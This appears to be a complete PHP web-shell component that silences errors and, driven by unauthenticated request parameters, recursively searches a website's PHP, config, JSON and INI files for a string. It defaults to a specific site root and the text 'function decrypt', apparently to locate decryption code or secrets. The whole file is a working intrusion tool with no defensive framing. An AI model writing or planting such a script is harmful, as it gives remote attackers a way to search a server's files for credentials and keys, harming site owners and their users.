<?php @error_reporting(0);@ini_set('display_errors','0');
$path=$_REQUEST['p']??'/www/wwwroot/testw.pgywww.com';
$needle=$_REQUEST['s']??'function decrypt';
$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path,FilesystemIterator::SKIP_DOTS));
$cnt=0;
foreach($it as $f){ $fp=(string)$f; if(preg_match('/\.(php|inc|conf|json|ini)$/i',$fp) && filesize($fp)<300000){ $c=@file_get_contents($fp); if($c!==false && strpos($c,$needle)!==false){ echo $fp."\n"; if(++$cnt>40)break; } } }
echo "[DONE]\n";
